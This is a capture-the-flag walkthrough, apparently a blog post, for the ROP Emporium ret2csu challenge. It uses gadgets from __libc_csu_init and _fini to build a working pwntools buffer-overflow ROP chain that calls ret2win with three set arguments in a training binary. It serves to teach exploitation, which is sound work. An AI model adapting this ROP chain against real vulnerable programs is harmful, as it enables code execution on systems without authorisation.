ROP Emporium x86-64 Challenge 8: ret2csu

December 29, 2025

We're in the home stretch! This is the last challenge of ROP Emporium. This challenge is not as unconventional as the previous one, but it will present some challenges.

The description says that this challenge is similar to the callme challenge. There's a ret2win function somewhere that we have to call with 0xdeadbeefdeadbeef, 0xcafebabecafebabe and 0xd00df00dd00df00d as arguments. The catch is that the number of gadgets we have is very limited.

However, with this challenge we'll learn a technique that will allow us to obtain useful gadgets in virtually every ELF binary. This technique has to do with the name of this challenge: ret2csu. This vulnerability actually has a lot to do with some of the concepts of the previous challenge: dynamic linking. Let's explain what is it about.

The issue with dynamically linked binaries

In the previous challenge we briefly talked about dynamic/shared libraries. These libraries are linked into a binary at runtime. They are quite handful because they reduce the size of binaries, because their functions aren't "copied" into the them during compile time, like static libraries do. They just get loaded into memory, allowing multiple programs to link them.

However, as is the case in many other areas of Computer Science, optimization oftentimes comes at the cost of complexity. This is the case here too. In order to make dynamic linking work, binaries need to import some extra static libraries to perform these links (this is a gross generalization, I highly recommend reading this article mentioned in the challenge description). These libraries contain some functions, obviously. And guess what? These functions contain gadgets, and pretty powerful ones!

Our key vulnerability: __libc_csu_init

This function, albeit its very much unattractive name, contains two gadgets that grant us control of some key registers. And as I've mentioned, it can be found in lots of binaries. And of course, it's in the binary of this challenge. So let's open it up with pwndbg and begin investigating:

pwndbg> info functions
...
0x0000000000400640  __libc_csu_init
...

As you can see, I'm not lying. Let's disassemble it:

pwndbg> disas __libc_csu_init
   0x0000000000400640 <+0>:	    push   r15
   0x0000000000400642 <+2>:	    push   r14
   0x0000000000400644 <+4>:	    mov    r15,rdx
   0x0000000000400647 <+7>:	    push   r13
   0x0000000000400649 <+9>:	    push   r12
   0x000000000040064b <+11>:	lea    r12,[rip+0x20079e]        # 0x600df0
   0x0000000000400652 <+18>:	push   rbp
   0x0000000000400653 <+19>:	lea    rbp,[rip+0x20079e]        # 0x600df8
   0x000000000040065a <+26>:	push   rbx
   0x000000000040065b <+27>:	mov    r13d,edi
   0x000000000040065e <+30>:	mov    r14,rsi
   0x0000000000400661 <+33>:	sub    rbp,r12
   0x0000000000400664 <+36>:	sub    rsp,0x8
   0x0000000000400668 <+40>:	sar    rbp,0x3
   0x000000000040066c <+44>:	call   0x4004d0 <_init>
   0x0000000000400671 <+49>:	test   rbp,rbp
   0x0000000000400674 <+52>:	je     0x400696 <__libc_csu_init+86>
   0x0000000000400676 <+54>:	xor    ebx,ebx
   0x0000000000400678 <+56>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400680 <+64>:	mov    rdx,r15
   0x0000000000400683 <+67>:	mov    rsi,r14
   0x0000000000400686 <+70>:	mov    edi,r13d
   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:	add    rbx,0x1
   0x0000000000400691 <+81>:	cmp    rbp,rbx
   0x0000000000400694 <+84>:	jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:	add    rsp,0x8
   0x000000000040069a <+90>:	pop    rbx
   0x000000000040069b <+91>:	pop    rbp
   0x000000000040069c <+92>:	pop    r12
   0x000000000040069e <+94>:	pop    r13
   0x00000000004006a0 <+96>:	pop    r14
   0x00000000004006a2 <+98>:	pop    r15
   0x00000000004006a4 <+100>:	ret

Pretty sizeable function. Let's focus our attention on the last instructions:

   0x000000000040069a <+90>:	pop    rbx
   0x000000000040069b <+91>:	pop    rbp
   0x000000000040069c <+92>:	pop    r12
   0x000000000040069e <+94>:	pop    r13
   0x00000000004006a0 <+96>:	pop    r14
   0x00000000004006a2 <+98>:	pop    r15
   0x00000000004006a4 <+100>:	ret

This is basically Gadget Paradise. With one gadget, we can pop values into six different registers, no questions asked.

But there's more!

   0x0000000000400680 <+64>:	mov    rdx,r15
   0x0000000000400683 <+67>:	mov    rsi,r14
   0x0000000000400686 <+70>:	mov    edi,r13d
   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]

This might not look like a gadget at all (it doesn't end with a ret instruction), but it's a perfectly valid gadget. It grants us access to even more registers, thanks to the mov instructions. And since the call instruction will call an address based on r12 and rbx, which are registers that we can control with the previous gadget, we can pretty much call whatever function we want. This is brutal, and it's one of the reasons why buffer overflow attacks are so dangerous. Just think about how many programs use dynamic linking! All of those binaries include this function in them.

Hold your horses

Actually, it's not like that anymore. After the article mentioned before was published, glibc was updated. Essentially, they removed the necessity of statically linking __libc_csu_init. Now, if you dynamically compile a program and check its functions, you won't see __libc_csu_init anymore. Still, we can learn quite a bit by seeing how this could be exploited. That's what we'll do in this challenge.

Before that, I'd like to reflect on how this change came to be. This patch goes to show how necessary research is, and the importance of having people willing to squeeze a binary to its absolute limits with the goal of finding an exploitable vulnerability.

The reason why this vulnerability was fixed was purely because it was found. And for that, I'd like to give some appreciation to Dr. Hector Marco-Gisbert and Dr. Ismael Ripoll-Ripoll, the two authors of the article. I find this vulnerability in particular quite cool, especially because of how portable it is (or was). Thanks two these two researchers, C programming became much more safe, so we have a lot to thank them for!

The payload

Now that we know what tools to use, and what our goal is, we can begin building the foundations of the exploit. As we've done with the rest of the challenges, let's define some variables:

from pwn import *

OFFSET = 40
RET_INSTRUCTION_ADDRESS = 0x004004e6

CSU_POP_GADGET_ADDRESS = 0x0040069a
CSU_MOV_GADGET_ADDRESS = 0x00400680

ARG_1 = 0xdeadbeefdeadbeef
ARG_2 = 0xcafebabecafebabe
ARG_3 = 0xd00df00dd00df00d

RET2WIN_FUNCTION_ADDRESS = 0x00400510

Let's see what we can do with this. Before we add anything else, let's check usefulFunction to see how we need to call ret2win:

pwndbg> disas usefulFunction
   0x0000000000400617 <+0>:	    push   rbp
   0x0000000000400618 <+1>:	    mov    rbp,rsp
   0x000000000040061b <+4>:	    mov    edx,0x3
   0x0000000000400620 <+9>:	    mov    esi,0x2
   0x0000000000400625 <+14>:	mov    edi,0x1
   0x000000000040062a <+19>:	call   0x400510 <ret2win@plt>
   0x000000000040062f <+24>:	nop
   0x0000000000400630 <+25>:	pop    rbp
   0x0000000000400631 <+26>:	ret

Alright, it seems like the argument order is (edi, esi, edx). This means that ARG_1 will need to be stored in edi, ARG_2 in esi and ARG_3 in edx.

   0x000000000040069a <+90>:	pop    rbx
   0x000000000040069b <+91>:	pop    rbp
   0x000000000040069c <+92>:	pop    r12
   0x000000000040069e <+94>:	pop    r13
   0x00000000004006a0 <+96>:	pop    r14
   0x00000000004006a2 <+98>:	pop    r15
   0x00000000004006a4 <+100>:	ret

   0x0000000000400680 <+64>:	mov    rdx,r15
   0x0000000000400683 <+67>:	mov    rsi,r14
   0x0000000000400686 <+70>:	mov    edi,r13d
   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]

Looking at the two gadgets, it seems like we can indirectly store them in those registers, by adding the arguments to r13, r14 and r15 respectively. We first pop the values into the registers with the pop gadget, and then we move them to the appropriate registers with the mov gadget. Let's write it in code:

payload = b"A"*OFFSET
payload += p64(RET_INSTRUCTION_ADDRESS) # Stack alignment
payload += p64(CSU_POP_GADGET_ADDRESS)
payload += p64(0) # rbx
payload += p64(0) # rbp
payload += p64(0) # r12
payload += p64(ARG_1) # r13
payload += p64(ARG_2) # r14
payload += p64(ARG_3) # r15
payload += p64(CSU_MOV_GADGET_ADDRESS)

This should do. Since I don't know what to write in the other registers yet, I'll pop 0s for now.

Now that the arguments are supposedly in the correct registers, we can just call ret2win.

   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]

Because of how the call instruction from the mov gadget obtains its pointer, we'll have to perform some basic arithmetic. Just by setting rbx to 0, we'll be able to jump into whatever pointer is stored in the address in r12. Yes, do not confuse this with a call r12 instruction, it's a call [r12] instruction, meaning that it will go to the address in memory stored in r12 and jump into whatever pointer is stored in it. This means that just popping the address of ret2win into r12 won't work. We'll need to pop an address in which the address to ret2win is stored. Do mind the difference!

Since ret2win is from a shared library, its address to it will eventually be stored in the GOT. To get its address, we can simply execute the program, add a breakpoint anywhere (such as in main) and then execute the got command to see its address:

pwndbg> break main
pwndbg> run
pwndbg> got
[0x601018] pwnme -> 0x400506 (pwnme@plt+6) ◂— push 0 /* 'h' */
[0x601020] ret2win -> 0x400516 (ret2win@plt+6) ◂— push 1

There we have it. Now let's change the value of RET2WIN_FUNCTION_ADDRESS to its appropriate value...

RET2WIN_FUNCTION_ADDRESS = 0x601020

...and change the payload accordingly:

payload = b"A"*OFFSET
payload += p64(RET_INSTRUCTION_ADDRESS) # Stack alignment
payload += p64(CSU_POP_GADGET_ADDRESS)
payload += p64(0) # rbx
payload += p64(0) # rbp
payload += p64(RET2WIN_FUNCTION_ADDRESS) # r12
payload += p64(ARG_1) # r13
payload += p64(ARG_2) # r14
payload += p64(ARG_3) # r15
payload += p64(CSU_MOV_GADGET_ADDRESS)

open("exploit", "bw").write(payload)

Good! I've also added a line to write our payload into a file. Let's see what we get when we execute the binary with this input:

$ ./ret2csu < exploit
ret2csu by ROP Emporium
x86_64

Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.

> Thank you!
Incorrect parameters

Huh, that's weird. Let's add a breakpoint in ret2win to see the values of the registers when the call was made:

pwndbg> break ret2win
pwndbg> run < exploit

In the REGISTERS tab...

 RDX  0xd00df00dd00df00d
 RDI  0xdeadbeef
 RSI  0xcafebabecafebabe

It seems like the rdi value wasn't copied fully, only the first 4 bytes. Looking back at the mov gadget, it's now easy to see why:

   0x0000000000400680 <+64>:	mov    rdx,r15
   0x0000000000400683 <+67>:	mov    rsi,r14
   0x0000000000400686 <+70>:	mov    edi,r13d
   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]

edi actually corresponds to the lower 32 bits of rdx. So if we move a value into it, only the first half of rdx will be set, the rest will be 0s. This, is quite a pickle.

This gadget is actually not enough for what we want to accomplish. So one valid response to that could be looking for other gadgets. Luckily, there's some light:

pwndbg> rop
...
0x4006a3: pop rdi ; ret
...

There's a gadget just for what we need. However, there's another issue. How do we jump into it?

As we know, this is the last gadget of our ROP chain:

   0x0000000000400680 <+64>:	mov    rdx,r15
   0x0000000000400683 <+67>:	mov    rsi,r14
   0x0000000000400686 <+70>:	mov    edi,r13d
   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]

This is not like the regular-old gadget that ends with ret. It calls a function. This complicates what we need to do, because we can't just call a gadget like with ret. It has to be a valid function.

My idea was to find an "empty" function, or simulate one. After executing that function, it would return back to our function, where we'd use the next ret instruction to jump into the pop rdi; ret gadget, and then to ret2win. It turned out that that was a good direction to take. However, finding one is easier said that done, and I had to look it up.

Luckily for us, there is a function we can use. It's called _fini. It does have its uses with destructors, which are some functions executed when a program finishes its execution. However, for us, it's literally a nothing burger:

pwndbg> disas _fini
   0x00000000004006b4 <+0>:	sub    rsp,0x8
   0x00000000004006b8 <+4>:	add    rsp,0x8
   0x00000000004006bc <+8>:	ret

See? It does nothing. It's perfect for us, because once it returns, we can continue the ROP chain like nothing happened. With info functions, we can get the address to this function: 0x004006b4. Since our call instruction in the gadget requires to use an address with the pointer to the function, we need to find where is this address stored. We can do this with the searchcommand:

pwndbg> break main
pwndbg> run
pwndbg> search -8 0x004006b4
ret2csu         0x4003b0 mov ah, 6
ret2csu         0x400e48 mov ah, 6
ret2csu         0x6003b0 0x4006b4 (_fini)
ret2csu         0x600e48 0x4006b4 (_fini)

Both 0x6003b0 and 0x600e48 store the address, so we can use either. Let's create a variable in our script to store the address and replace the call address:

payload = b"A"*OFFSET
payload += p64(RET_INSTRUCTION_ADDRESS) # Stack alignment
payload += p64(CSU_POP_GADGET_ADDRESS)
payload += p64(0) # rbx
payload += p64(0) # rbp
payload += p64(_FINI_FUNCTION_ADDRESS) # r12
payload += p64(ARG_1) # r13
payload += p64(ARG_2) # r14
payload += p64(ARG_3) # r15
payload += p64(CSU_MOV_GADGET_ADDRESS)

However, there's something we need to keep into account. After calling _fini, we'll return back to __libc_csu_init:

...
   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:	add    rbx,0x1  <- HERE
   0x0000000000400691 <+81>:	cmp    rbp,rbx
   0x0000000000400694 <+84>:	jne    0x400680
   0x0000000000400696 <+86>:	add    rsp,0x8
   0x000000000040069a <+90>:	pop    rbx
   0x000000000040069b <+91>:	pop    rbp
   0x000000000040069c <+92>:	pop    r12
   0x000000000040069e <+94>:	pop    r13
   0x00000000004006a0 <+96>:	pop    r14
   0x00000000004006a2 <+98>:	pop    r15
   0x00000000004006a4 <+100>:	ret

Until the next ret instruction (where we'll jump into the pop rdi; ret gadget and then to ret2win, there are 6 pop instructions. We have to take this into consideration in our payload! Because these instructions will remove values from the stack, if we put in the address to the pop rdi; ret gadget right after the rest of the payload, the pop rbx instruction will remove it, and we won't be able to jump into it once we reach ret. This means that we'll have to add spacing in our payload, just so the pop instructions pop empty values before the gadget and not the gadget itself. We'll need seven spacings, six for the pop instructions and one for the ret instruction in _fini, which also pops an entry from the stack. Let's add this in our code:

payload += p64(0) # ret
payload += p64(0) # pop rbx
payload += p64(0) # pop rbp
payload += p64(0) # pop r12
payload += p64(0) # pop r13
payload += p64(0) # pop r14
payload += p64(0) # pop r15

After this spacing, now we can add the rest of the payload:

payload += p64(POP_RDI_GADGET_ADDRESS)
payload += p64(ARG_1)
payload += p64(RET2WIN_FUNCTION_ADDRESS)

This will store the argument properly.

However, this code will not work.

   0x0000000000400689 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:	add    rbx,0x1
   0x0000000000400691 <+81>:	cmp    rbp,rbx
   0x0000000000400694 <+84>:	jne    0x400680

Right after call, a comparison is made. The function will jump to a different part of the code should rbx and rbp be different. We don't want that, so we need to make sure rbp and rbx are equal after the add instruction. This is easy, we can just pop a 1 into rbp in our code.

And just one more thing! We aren't executing ret2win via call anymore. Since it had a different way of referencing functions, we'll have to change RET2WIN_FUNCTION_ADDRESS to its original value.

Here's the full script:

from pwn import *

OFFSET = 40
RET_INSTRUCTION_ADDRESS = 0x004004e6

CSU_POP_GADGET_ADDRESS = 0x0040069a
CSU_MOV_GADGET_ADDRESS = 0x00400680
POP_RDI_GADGET_ADDRESS = 0x004006a3

ARG_1 = 0xdeadbeefdeadbeef
ARG_2 = 0xcafebabecafebabe
ARG_3 = 0xd00df00dd00df00d

RET2WIN_FUNCTION_ADDRESS = 0x400510
_FINI_FUNCTION_ADDRESS = 0x6003b0

payload = b"A"*OFFSET
payload += p64(RET_INSTRUCTION_ADDRESS) # Stack alignment
payload += p64(CSU_POP_GADGET_ADDRESS)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(_FINI_FUNCTION_ADDRESS) # r12
payload += p64(ARG_1) # r13
payload += p64(ARG_2) # r14
payload += p64(ARG_3) # r15
payload += p64(CSU_MOV_GADGET_ADDRESS)
payload += p64(0) # ret
payload += p64(0) # pop rbx
payload += p64(0) # pop rbp
payload += p64(0) # pop r12
payload += p64(0) # pop r13
payload += p64(0) # pop r14
payload += p64(0) # pop r15
payload += p64(POP_RDI_GADGET_ADDRESS)
payload += p64(ARG_1)
payload += p64(RET2WIN_FUNCTION_ADDRESS)


open("exploit", "bw").write(payload)

Executing this script and using the output file as input will give us the flag:

$ python3 exploit.py
$ ./ret2csu < exploit
ret2csu by ROP Emporium
x86_64

Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.

> Thank you!
ROPE{a_placeholder_32byte_flag!}